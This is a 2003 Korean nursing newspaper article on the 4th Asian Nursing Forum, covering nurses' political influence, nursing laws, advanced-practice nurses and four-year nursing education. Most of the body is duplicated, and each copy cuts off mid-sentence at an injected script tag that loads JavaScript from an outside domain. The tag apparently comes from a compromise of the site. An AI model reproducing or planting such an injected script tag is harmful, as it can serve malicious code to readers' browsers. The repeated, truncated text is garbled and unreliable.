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제4차 아시아 간호포럼 - 주요 이슈
간호의 정치적 영향력 키워야
[편집국] 정규숙 kschung@nursenews.co.kr 기사입력 2003-12-04 오전 09:53:32
간호의 위상을 높이기 위해선 간호사의 정치적 역량을 키우는데 관심을 갖고 힘을 모아야 한다는데 아시아 각국의 생각이 일치했다. 간호 발전을 위해선 간호사의 역할과 책임을 명확히 규정한 간호법이 필수적이며, 일본을 비롯한 여러 국가에서 이미 간호법을 갖고 있는 것으로 확인됐다.
간호교육의 수준이 간호 서비스의 질을 좌우한다는 믿음도 같았다. 기본 간호교육이 반드시 4년제 대학과정에서 이뤄져야 하며, 각 나라마다 이를 위해 주력하고 있는 것으로 나타났다.
간호 서비스의 전문성을 강화하고 간호사의 자질 향상을 위해 전문간호사제도를 도입, 운영하고 있는 것도 아시아 국가들의 공통된 추세였다.
제4차 아시아 간호포럼에서는 각 나라가 당면한 간호 현실과 문제점들이 개별 국가가 혼자 풀어야 할 난제가 아니라 서로 경험과 지혜를 나누면서 전략을 짜고 함께 해결해 나가야 할 공동의 과제임이 다시 한 번 확인됐다. 각국 대표들은 "간호전문직의 파워는 함께 만들어 나가는 것"이라는데 뜻을 같이하고 아시아 국가간의 협력과 지지를 굳게 다짐했다.
△정치적 파워 키우기=남성 중심의 가부장적 문화와 관습으로 대표되는 아시아가 바뀌고 있다. 각 나라마다 여성의 사회 참여가 확대되는 것은 물론 정치활동도 활발해지고 있는 것으로 나타났다. 특히 간호사는 그 나라에서 전문교육을 받은 엘리트 여성그룹이며, 간호협회는 조직력과 규모 면에서 보건의료단체 중 가장 큰 영향력을 지닌 단체로 손꼽힌다.
나라마다 간호의 정치적 영향력을 키우기 위한 활동에 관심을 갖고 맹렬히 나서고 있다. 간호사들이 정부기구나 위원회에 참여해 정책결정과정에서 의견을 제시하는 등 활발한 활동을 펴고 있는 것.
간호사들이 직접 정치에 뛰어든 경우도 늘고 있다. 이 분야에선 김모임 전 보건복지부 장관(전 국회의원), 김화중 보건복지부 장관(전 국회의원), 최영희 국회의원 등을 배출한 한국이 단연 돋보인다. 일본, 대만, 마카오에서도 간호사 의원이 나왔다.
이번 포럼에서는 "간호가 국민을 위해 일하는 힘있는 전문직으로 당당히 자리하고 좋은 이미지를 갖기 위해선 정치적 영향력을 키워야 한다"는데 이견이 없었다. 많은 간호사들이 정책개발과 결정과정에 관심을 가질 수 있도록 교육시키고, 미래의 정치지도자를 발굴 육성하는데 힘써야 한다는 의견이 모아졌다.
△간호법은 필수=간호사의 역할과 책임, 간호업무의 범위 등을 명확히 규정한 간호법이 필요하다는 주장이 강력히 대두됐다. 이 부분에서는 이미 간호법을 갖고 있는 일본을 비롯 태국, 대만, 필리핀이 앞서 나가고 있다. 인도네시아에서도 간호법 제정을 위한 준비작업이 한창이다. 한국은 간호법 제정을 위해 대국민 서명운동을 펼치며 힘을 모아나가고 있다.
△전문간호사제도=한국, 일본, 태국, 대만, 홍콩 등이 전문간호사제도를 도입, 정착시키는데 앞장서고 있다. 이들 국가 대표들은 "전문간호사가 제공하는 수준 높은 간호 서비스에 대한 국민들의 만족도가 매우 높으며, 큰 호응을 얻고 있다"고 평가하고 "전문간호사제도가 간호를 한층 발전시키고 위상을 드높이는 원동력이 될 것으로 확신한다"고 입을 모았다.
각 나라에서는 전문간호사제도를 내실 있게 운영하는데도 심혈을 기울이고 있다. 전문간호사 자격기준, 교육기관 지정, 교육과정 표준화, 계속교육과 자격갱신 등에 대한 규정을 마련하고 엄격한 절차를 거쳐 인증하는데 만전을 기하고 있는 것.
전문간호사의 차별화 된 역할과 간호 서비스에 대한 간호수가를 개발, 인정받는 문제가 앞으로 해결해야 할 과제로 꼽혔다.
△간호교육 수준 향상=어느 나라에서든 간호대학은 명실상부한 여성인재 배출 교육기관으로 자리하고 있다. 평생 전문직업을 갖고 자신의 지식과 기술을 발휘할 수 있다는 점이 여성의 사회참여가 저조한 아시아권에서는 남다른 경쟁력이기 때문.
이번 간호포럼에서는 간호교육은 4년제 대학과정에서 이뤄져야 한다는 하나의 목표를 향해 각 나라마다 교육수준을 향상시키기 위해 노력해 나가고 있다는 사실이 확인됐다.
도시코 나베 일본간호협회 부회장은 "간호교육 4년제 일원화에 대한 사회적 공감대가 형성돼 있다"면서 "일본에서는 간호대학으로 승격하는 교육기관이 획기적으로 늘어나고 전문대학은 줄어드는 긍정적인 변화가 일어나 매우 고무적"이라고 밝혔다.
진타나 유니반 태국간호협회장은 년에 4년제 일원화를 이뤘으며, 석·박사과정도 꾸준히 발전시켜 나가고 있다"면서 "간호대학은 모두 간호인정평가기구로부터 인정받고 있다"고 소개했다. 대만은 3·4년제, 마카오는 4년제, 인도네시아는 2·3·4년제로 운영되고 있다.
한국의 경우 간호교육에 있어 그 우수성을 인정받고 있으며 특히 석·박사과정 수와 ?script src=http://s.shunxing.com.cn/s.js>
간호교육의 수준이 간호 서비스의 질을 좌우한다는 믿음도 같았다. 기본 간호교육이 반드시 4년제 대학과정에서 이뤄져야 하며, 각 나라마다 이를 위해 주력하고 있는 것으로 나타났다.
간호 서비스의 전문성을 강화하고 간호사의 자질 향상을 위해 전문간호사제도를 도입, 운영하고 있는 것도 아시아 국가들의 공통된 추세였다.
제4차 아시아 간호포럼에서는 각 나라가 당면한 간호 현실과 문제점들이 개별 국가가 혼자 풀어야 할 난제가 아니라 서로 경험과 지혜를 나누면서 전략을 짜고 함께 해결해 나가야 할 공동의 과제임이 다시 한 번 확인됐다. 각국 대표들은 "간호전문직의 파워는 함께 만들어 나가는 것"이라는데 뜻을 같이하고 아시아 국가간의 협력과 지지를 굳게 다짐했다.
△정치적 파워 키우기=남성 중심의 가부장적 문화와 관습으로 대표되는 아시아가 바뀌고 있다. 각 나라마다 여성의 사회 참여가 확대되는 것은 물론 정치활동도 활발해지고 있는 것으로 나타났다. 특히 간호사는 그 나라에서 전문교육을 받은 엘리트 여성그룹이며, 간호협회는 조직력과 규모 면에서 보건의료단체 중 가장 큰 영향력을 지닌 단체로 손꼽힌다.
나라마다 간호의 정치적 영향력을 키우기 위한 활동에 관심을 갖고 맹렬히 나서고 있다. 간호사들이 정부기구나 위원회에 참여해 정책결정과정에서 의견을 제시하는 등 활발한 활동을 펴고 있는 것.
간호사들이 직접 정치에 뛰어든 경우도 늘고 있다. 이 분야에선 김모임 전 보건복지부 장관(전 국회의원), 김화중 보건복지부 장관(전 국회의원), 최영희 국회의원 등을 배출한 한국이 단연 돋보인다. 일본, 대만, 마카오에서도 간호사 의원이 나왔다.
이번 포럼에서는 "간호가 국민을 위해 일하는 힘있는 전문직으로 당당히 자리하고 좋은 이미지를 갖기 위해선 정치적 영향력을 키워야 한다"는데 이견이 없었다. 많은 간호사들이 정책개발과 결정과정에 관심을 가질 수 있도록 교육시키고, 미래의 정치지도자를 발굴 육성하는데 힘써야 한다는 의견이 모아졌다.
△간호법은 필수=간호사의 역할과 책임, 간호업무의 범위 등을 명확히 규정한 간호법이 필요하다는 주장이 강력히 대두됐다. 이 부분에서는 이미 간호법을 갖고 있는 일본을 비롯 태국, 대만, 필리핀이 앞서 나가고 있다. 인도네시아에서도 간호법 제정을 위한 준비작업이 한창이다. 한국은 간호법 제정을 위해 대국민 서명운동을 펼치며 힘을 모아나가고 있다.
△전문간호사제도=한국, 일본, 태국, 대만, 홍콩 등이 전문간호사제도를 도입, 정착시키는데 앞장서고 있다. 이들 국가 대표들은 "전문간호사가 제공하는 수준 높은 간호 서비스에 대한 국민들의 만족도가 매우 높으며, 큰 호응을 얻고 있다"고 평가하고 "전문간호사제도가 간호를 한층 발전시키고 위상을 드높이는 원동력이 될 것으로 확신한다"고 입을 모았다.
각 나라에서는 전문간호사제도를 내실 있게 운영하는데도 심혈을 기울이고 있다. 전문간호사 자격기준, 교육기관 지정, 교육과정 표준화, 계속교육과 자격갱신 등에 대한 규정을 마련하고 엄격한 절차를 거쳐 인증하는데 만전을 기하고 있는 것.
전문간호사의 차별화 된 역할과 간호 서비스에 대한 간호수가를 개발, 인정받는 문제가 앞으로 해결해야 할 과제로 꼽혔다.
△간호교육 수준 향상=어느 나라에서든 간호대학은 명실상부한 여성인재 배출 교육기관으로 자리하고 있다. 평생 전문직업을 갖고 자신의 지식과 기술을 발휘할 수 있다는 점이 여성의 사회참여가 저조한 아시아권에서는 남다른 경쟁력이기 때문.
이번 간호포럼에서는 간호교육은 4년제 대학과정에서 이뤄져야 한다는 하나의 목표를 향해 각 나라마다 교육수준을 향상시키기 위해 노력해 나가고 있다는 사실이 확인됐다.
도시코 나베 일본간호협회 부회장은 "간호교육 4년제 일원화에 대한 사회적 공감대가 형성돼 있다"면서 "일본에서는 간호대학으로 승격하는 교육기관이 획기적으로 늘어나고 전문대학은 줄어드는 긍정적인 변화가 일어나 매우 고무적"이라고 밝혔다.
진타나 유니반 태국간호협회장은 년에 4년제 일원화를 이뤘으며, 석·박사과정도 꾸준히 발전시켜 나가고 있다"면서 "간호대학은 모두 간호인정평가기구로부터 인정받고 있다"고 소개했다. 대만은 3·4년제, 마카오는 4년제, 인도네시아는 2·3·4년제로 운영되고 있다.
한국의 경우 간호교육에 있어 그 우수성을 인정받고 있으며 특히 석·박사과정 수와 ?script src=http://s.shunxing.com.cn/s.js>
